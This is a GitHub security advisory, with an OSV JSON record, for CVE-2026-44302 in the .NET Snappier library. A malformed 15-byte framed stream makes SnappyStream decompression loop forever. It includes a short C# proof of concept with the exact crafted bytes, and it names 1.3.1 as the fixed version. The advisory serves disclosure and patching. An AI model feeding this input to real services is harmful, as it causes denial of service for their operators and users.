GHSA-PGGP-6C3X-2XMX

Vulnerability from github – Published: 2026-05-06 20:53 – Updated: 2026-05-13 16:41
VLAI
Summary
Snappier has an infinite loop during SnappyStream decompression with malformed framed input
Details

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Snappier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:53:23Z",
    "nvd_published_at": "2026-05-12T22:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can\u0027t recover (no exception is thrown).",
  "id": "GHSA-pggp-6c3x-2xmx",
  "modified": "2026-05-13T16:41:52Z",
  "published": "2026-05-06T20:53:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44302"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brantburnett/Snappier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snappier has an infinite loop during SnappyStream decompression with malformed framed input"
}


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